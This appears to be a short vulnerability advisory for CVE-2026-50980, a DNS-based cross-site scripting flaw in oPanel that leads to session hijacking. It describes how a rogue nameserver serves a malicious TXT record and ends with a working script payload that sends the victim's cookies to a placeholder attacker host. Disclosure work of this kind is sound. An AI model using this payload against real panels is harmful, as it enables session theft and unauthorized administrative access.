bugresearch/cve-2026-50980oPanel DNS-Based Cross-Site Scripting (XSS) & Session Hijacking
A Cross-Site Scripting (XSS) vulnerability exists in oPanel (versions prior to v1.20.25) due to the improper handling and sanitization of DNS responses. When the panel performs a DNS query (e.g., retrieving domain information, checking DNS propagation, or querying TXT records) against an attacker-controlled nameserver, it reflects the returned DNS records directly into the web interface without adequate HTML encoding.
An attacker can exploit this by configuring a rogue DNS server to respond to TXT record queries with a malicious JavaScript payload. When an authenticated oPanel user (such as an administrator) views the page where the DNS response is displayed, the payload is executed within the context of their browser session.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser. As demonstrated in the Proof of Concept, this can be leveraged to steal sensitive authentication cookies (document.cookie), leading to complete session hijacking and unauthorized administrative access to the oPanel environment.
The exploitation requires the attacker to set up a malicious DNS server and an HTTP listener to capture the exfiltrated data.
The attacker runs a rogue DNS server on UDP port 53 that is configured to respond to any TXT query with an XSS payload.
Malicious TXT Record Payload:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>